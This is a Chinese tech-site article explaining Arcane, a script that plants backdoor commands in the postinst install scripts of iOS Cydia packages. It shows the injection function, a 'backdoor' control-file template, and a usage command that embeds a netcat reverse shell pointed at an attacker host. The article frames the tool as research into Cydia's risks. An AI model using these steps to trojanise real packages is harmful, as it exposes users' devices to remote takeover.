溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何使用Arcane工具

發(fā)布時間:2021-10-29 09:30:40 來源:億速云 閱讀:195 作者:iii 欄目:編程語言

這篇文章主要講解了“如何使用Arcane工具”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“如何使用Arcane工具”吧!

Arcane

Arcane是一個針對iOS包(iphone-arm)的安全工具,本質上來說Arcane是一個簡單小巧的腳本,可以幫助廣大研究人員針對APT存儲庫創(chuàng)建必要的資源。該工具的主要目的是為了讓大家明白為什么使用Cydia是一種非常危險的行為,因為網(wǎng)絡犯罪分子能夠通過iOS包來對存在安全風險的iOS設備執(zhí)行后滲透攻擊。

Arcane工作機制

為了幫助大家了解Arcane工作機制背后的工作機制,我們首先解壓一個由Arcane創(chuàng)建的iOS包:

dpkg-deb -R /tmp/cydia/whois_5.3.2-1_iphoneos-arm_BACKDOORED.deb /tmp/whois-decomp

這里,需要注意DEBIAN目錄下的control文件和postinst文件,這兩個文件都非常重要:

tree /tmp/whois-decomp/

 

/tmp/whois-decomp/

├── DEBIAN

│   ├── control

│   └── postinst

└── usr

    └── bin

        └── whois

在Arcane的幫助下,我們可以直接在安裝或移除應用程序的過程中,將惡意腳本輕松嵌入到一個iOS包中。這里支持的包維護腳本支持preinst、postinst、prerm和postrm文件。Arcane可以利用postinst文件來在iOS包的安裝過程中執(zhí)行任意命令。

下面給出的是“post-installation”文件的樣例。這個文件可以在安裝應用程序包之后,在目標設備中執(zhí)行命令。攻擊者可以利用該文件來管理或維護安裝過程中的各種操作,而Arcane可以利用這種功能來向iOS包中注入惡意Bash命令。

postinst="$tmp/DEBIAN/postinst";

 

# A function to handle the type of command execution embedded into the

# postinst file.

function inject_backdoor ()

{

    # If --file is used, `cat` the command(s) into the postinst file.

    if [[ "$infile" ]]; then

        cat "$infile" >> "$postinst";

        embed="[$infile]";

    else

        # If no --file, utilize the simple Bash payload, previously

        # defined.

        echo -e "$payload" >> "$postinst";

        embed="generic shell command";

    fi;

    status "embedded $embed into postinst" "error embedding backdoor";

    chmod 0755 "$postinst"

};

在iOS包安裝過程中,包管理工具將會使用control文件中包含的值。Arcane將能夠修改已有的control文件或創(chuàng)建一個新的control文件。下面給出的是control文件樣本,大多數(shù)iOS包都會包含一個control文件。在這里,Arcane將會使用下面給出的這個control文件樣本,其中的“$hacker”變量用于實現(xiàn)任意數(shù)據(jù)占位。

# https://www.debian.org/doc/manuals/maint-guide/dreq.en.html

controlTemp="Package: com.$hacker.backdoor

Name: $hacker backdoor

Version: 1337

Section: app

Architecture: iphoneos-arm

Description: A backdoored iOS package

Author: $hacker <https://$hacker.github.io/>

Maintainer: $hacker <https://$hacker.github.io/>";

 

...

 

# An `if` statement to check for the control file.

if [[ ! -f "$tmp/DEBIAN/control" ]]; then

    # If no control is detected, create it using the template.

    echo "$controlTemp" > "$tmp/DEBIAN/control";

    status "created control file" "error with control template";

else

    # If a control file exists, Arcane will simply rename the package

    # as it appears in the list of available Cydia applications. This

    # makes the package easier to location in Cydia.

    msg "detected control file" succ;

    sed -i '0,/^Name:.*/s//Name: $hacker backdoor/' "$tmp/DEBIAN/control";

    status "modified control file" "error with control";

fi;

工具下載

廣大研究人員可以使用下列命令將該項目源碼克隆至本地:

git clone https://github.com/tokyoneon/Arcane.git

工具使用

我們建議廣大用戶在Kaili v2020.3版本的操作系統(tǒng)中使用Arcane。工具配置和使用命令如下:

sudo apt-get update; sudo apt-get install -Vy bzip2 netcat-traditional dpkg coreutils # dependencies

sudo git clone https://github.com/tokyoneon/arcane /opt/arcane

sudo chown $USER:$USER -R /opt/arcane/; cd /opt/arcane

chmod +x arcane.sh;./arcane.sh --help

接下來,我們可以使用下列命令來將惡意控制指令嵌入到一個給定的iOS包中:

./arcane.sh --input samples/sed_4.5-1_iphoneos-arm.deb --lhost <attacker> --lport <4444> --cydia --netcat

如需獲取更加詳細的使用指引,可以參考這篇【手冊】。

iOS包樣例

Arcane的代碼庫中提供了下列iOS包以供廣大研究人員進行測試:

ls -la samples/

 

-rw-r--r-- 1 root root 100748 Jul 17 18:39 libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb

-rw-r--r-- 1 root root 142520 Jul 22 06:21 network-cmds_543-1_iphoneos-arm.deb

-rw-r--r-- 1 root root  76688 Aug 29  2018 sed_4.5-1_iphoneos-arm.deb

-rw-r--r-- 1 root root  60866 Jul  8 21:03 top_39-2_iphoneos-arm.deb

-rw-r--r-- 1 root root  13810 Aug 29  2018 whois_5.3.2-1_iphoneos-arm.deb

下面給出的是iOS樣例包的MD5:

md5sum samples/*.deb

 

3f1712964701580b3f018305a55e217c  samples/libapt-pkg-dev_1.8.2.1-1_iphoneos-arm.deb

795ccf9c6d53dd60d2f74f7a601f474f  samples/network-cmds_543-1_iphoneos-arm.deb

a020882dac121afa4b03c63304d729b0  samples/sed_4.5-1_iphoneos-arm.deb

38db275007a331e7ff8899ea22261dc7  samples/top_39-2_iphoneos-arm.deb

b40ee800b72bbac323568b36ad67bb16  samples/whois_5.3.2-1_iphoneos-arm.deb

感謝各位的閱讀,以上就是“如何使用Arcane工具”的內容了,經(jīng)過本文的學習后,相信大家對如何使用Arcane工具這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是億速云,小編將為大家推送更多相關知識點的文章,歡迎關注!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。

AI